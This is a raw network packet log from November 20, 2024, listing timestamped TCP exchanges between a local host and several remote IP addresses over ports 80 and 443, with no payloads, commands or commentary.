Nov 20, 2024 12:58:02.568239927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.568254948 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.568265915 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.568279028 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.568290949 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.568300009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.568315983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.568340063 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.568351984 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.568886042 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.568901062 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.568922043 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.568932056 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.568932056 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.568954945 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.568960905 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.568974972 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.568985939 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.568998098 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.569009066 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.569022894 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.569034100 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.569057941 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.569866896 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.569884062 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.569904089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.569911957 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.569914103 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.569936037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.569947958 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.569962025 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.569973946 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.569988966 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.569999933 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.570013046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.570023060 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.570044994 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.570863962 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.570878983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.570894003 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.570905924 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.570916891 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.570929050 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.570936918 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.570951939 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.570969105 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.570979118 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.570988894 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.571001053 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.571011066 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.571024895 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.571036100 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.571060896 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.571856976 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.571881056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.571896076 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.571907043 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.571923018 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.571932077 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.571942091 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.571955919 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.571973085 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.571985006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.571991920 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.572005033 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.572021008 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.572038889 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.572846889 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.572863102 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.572875977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.572885036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.572894096 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.572907925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.572921038 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.572931051 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.572956085 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.572978973 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.603255987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.603303909 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.603384972 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.603435040 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.603473902 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.603490114 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.603527069 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.603579044 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.603658915 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.603693962 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.603715897 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.603746891 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.603771925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.603816986 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.603832960 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.603862047 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.603889942 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.603944063 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.604430914 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.604465008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.604485989 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.604507923 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.604538918 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.604583025 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.604598045 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.604625940 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.604950905 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.604984999 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.605020046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.605041981 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.605068922 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.605097055 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.605130911 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.605153084 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.605178118 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.605205059 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.605248928 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.605856895 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.605921030 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.605973959 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.606010914 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.606043100 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.606069088 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.606095076 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.606129885 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.606153965 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.606180906 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.606208086 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.606242895 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.606266975 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.606297016 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.606978893 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.607014894 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.607038975 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.607059956 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.607089043 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.607124090 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.607147932 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.607178926 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.607201099 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.607244968 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.607259989 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.607290030 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.607330084 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.607388973 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.607938051 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.607973099 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.607995033 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.608021975 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.608047962 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.608083963 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.608108044 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.608139992 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.608161926 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.608196974 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.608218908 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.608253002 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.608269930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.608325958 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.608939886 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.608975887 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.609010935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.609033108 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.609066010 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.609085083 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.609119892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.609141111 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.609169006 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.609194040 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.609251976 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.609989882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.610023975 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.610045910 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.610071898 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.610099077 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.610136032 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.610160112 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.610192060 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.610213041 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.610248089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.610269070 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.610296965 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.610321045 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.610356092 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.610375881 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.610404968 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.610805988 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.610843897 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.610881090 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.610898972 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.820936918 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:58:02.826387882 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:58:03.535900116 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:58:03.536582947 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:58:08.539232016 CET	80	49756	185.215.113.206	192.168.2.4
Nov 20, 2024 12:58:08.539277077 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:58:08.932100058 CET	49756	80	192.168.2.4	185.215.113.206
Nov 20, 2024 12:58:08.933412075 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:21.006745100 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:21.006792068 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.006876945 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:21.007334948 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:21.007349968 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.648592949 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.648737907 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:21.652901888 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:21.652934074 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.653342009 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.661993980 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:21.703342915 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.772268057 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.772326946 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.772370100 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.772511005 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:21.772578955 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.772654057 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:21.855079889 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.855104923 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.855247021 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:21.855278015 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.855705976 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:21.858814001 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.858834982 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.858901024 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:21.858920097 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.859002113 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:21.941205025 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.941236973 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.941317081 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:21.941376925 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.941427946 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:21.941569090 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:21.942882061 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.942899942 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.942958117 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:21.942976952 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.943001986 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:21.943038940 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:21.944840908 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.944858074 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.944921017 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:21.944937944 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.945000887 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:21.947422981 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.947444916 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.947504997 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:21.947525024 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:21.947549105 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:21.947588921 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.030404091 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.030435085 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.030549049 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.030612946 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.031924963 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.031948090 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.031996965 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.032027006 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.032054901 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.032100916 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.034518957 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.034537077 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.034586906 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.034622908 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.034653902 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.036519051 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.036540985 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.036580086 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.036597013 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.036626101 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.037561893 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.038506985 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.038525105 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.038574934 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.038593054 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.038614988 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.038619041 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.038670063 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.039438963 CET	49762	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.039470911 CET	443	49762	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.069696903 CET	49764	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.069725037 CET	49763	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.069767952 CET	443	49764	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.069801092 CET	443	49763	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.069885969 CET	49764	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.070173025 CET	49764	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.070173979 CET	49763	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.070190907 CET	443	49764	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.070283890 CET	49763	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.070317984 CET	443	49763	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.071557999 CET	49765	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.071602106 CET	443	49765	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.072149992 CET	49765	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.072312117 CET	49765	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.072330952 CET	443	49765	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.073430061 CET	49766	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.073441982 CET	443	49766	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.073497057 CET	49766	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.074274063 CET	49767	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.074285030 CET	443	49767	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.074351072 CET	49767	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.074487925 CET	49767	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.074500084 CET	443	49767	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.074542999 CET	49766	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.074557066 CET	443	49766	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.707427979 CET	443	49763	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.707837105 CET	49763	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.707874060 CET	443	49763	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.708312988 CET	49763	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.708323956 CET	443	49763	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.722765923 CET	443	49767	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.723228931 CET	49767	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.723254919 CET	443	49767	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.723900080 CET	49767	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.723906994 CET	443	49767	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.735811949 CET	443	49764	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.736283064 CET	49764	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.736314058 CET	443	49764	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.736764908 CET	49764	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.736771107 CET	443	49764	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.737700939 CET	443	49766	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.738182068 CET	49766	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.738189936 CET	443	49766	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.738432884 CET	49766	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.738436937 CET	443	49766	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.739437103 CET	443	49765	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.739679098 CET	49765	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.739690065 CET	443	49765	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.740020037 CET	49765	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.740025997 CET	443	49765	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.811594009 CET	443	49763	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.811625957 CET	443	49763	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.811808109 CET	443	49763	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.811804056 CET	49763	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.811878920 CET	49763	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.811995983 CET	49763	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.811996937 CET	49763	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.812045097 CET	443	49763	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.812077045 CET	443	49763	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.815161943 CET	49768	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.815201998 CET	443	49768	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:22.815269947 CET	49768	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.815396070 CET	49768	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:22.815403938 CET	443	49768	13.107.246.45	192.168.2.4
